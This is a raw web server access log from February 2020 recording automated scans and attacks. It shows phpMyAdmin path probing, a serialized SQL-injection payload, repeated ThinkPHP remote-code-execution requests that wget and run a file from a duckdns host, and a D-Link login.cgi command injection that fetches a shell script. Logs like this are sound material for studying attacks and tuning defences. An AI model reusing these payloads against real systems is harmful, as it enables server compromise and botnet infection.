106.54.214.206 - - [01/Feb/2020:03:24:54 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:\"num\";s:147:\"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:2:\"id\";s:9:\"' union/*\";s:4:\"name\";s:3:\"ads\";}45ea207d7a2b68c49582d2d22adf953a" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
106.54.214.206 - - [01/Feb/2020:03:24:54 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:24:54 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:24:54 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:24:54 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:24:55 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:24:55 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:24:55 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:24:55 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:24:56 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:24:56 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:24:56 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:24:57 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:24:57 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:24:57 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:24:57 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:24:58 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:24:58 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:24:58 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:24:59 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:24:59 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:00 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:00 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:00 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:00 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:01 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:01 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:02 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:02 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:02 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:03 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:03 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:03 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:03 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:04 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:04 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:04 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:04 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:05 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:05 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:05 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:05 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:06 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:06 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:06 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:07 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:07 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:07 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:08 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:08 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:09 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:09 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:09 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:10 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:10 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:10 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:10 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:11 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:11 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:11 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:11 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:11 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:12 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:12 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:12 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:12 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:13 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:13 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:13 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:13 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:14 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:14 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:14 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:14 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:14 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:15 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:15 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:15 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:16 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:16 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:17 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:17 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:17 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:17 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:18 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:18 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:18 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:18 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:18 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:19 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:19 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:19 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:19 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:20 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:20 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:20 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:20 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:21 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:21 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:21 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:22 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:22 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:22 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:23 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:25:24 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
42.119.240.108 - - [01/Feb/2020:03:26:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
187.155.167.105 - - [01/Feb/2020:03:27:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
74.63.255.178 - - [01/Feb/2020:03:28:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
66.248.204.79 - - [01/Feb/2020:03:33:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.27 (KHTML, like Gecko) Chrome/26.0.1384.2 Safari/537.27"
113.11.133.178 - - [01/Feb/2020:03:34:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.117.213.66 - - [01/Feb/2020:03:36:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.18.28.184 - - [01/Feb/2020:03:36:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.202.210 - - [01/Feb/2020:03:37:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
202.29.30.253 - - [01/Feb/2020:03:37:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
170.238.36.66 - - [01/Feb/2020:03:40:25 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
1.55.69.130 - - [01/Feb/2020:03:45:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.0.25 - - [01/Feb/2020:03:50:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.105.200.142 - - [01/Feb/2020:03:50:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.130.7 - - [01/Feb/2020:03:50:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.47.50.91 - - [01/Feb/2020:03:51:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.117.36.249 - - [01/Feb/2020:03:52:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
114.238.29.106 - - [01/Feb/2020:03:57:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.240.213 - - [01/Feb/2020:03:57:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.236.10.90 - - [01/Feb/2020:03:57:49 +0100] "GET / HTTP/1.1" 200 1229 "http://www.prokommunal.de/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36; 360Spider"
5.88.62.41 - - [01/Feb/2020:03:57:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
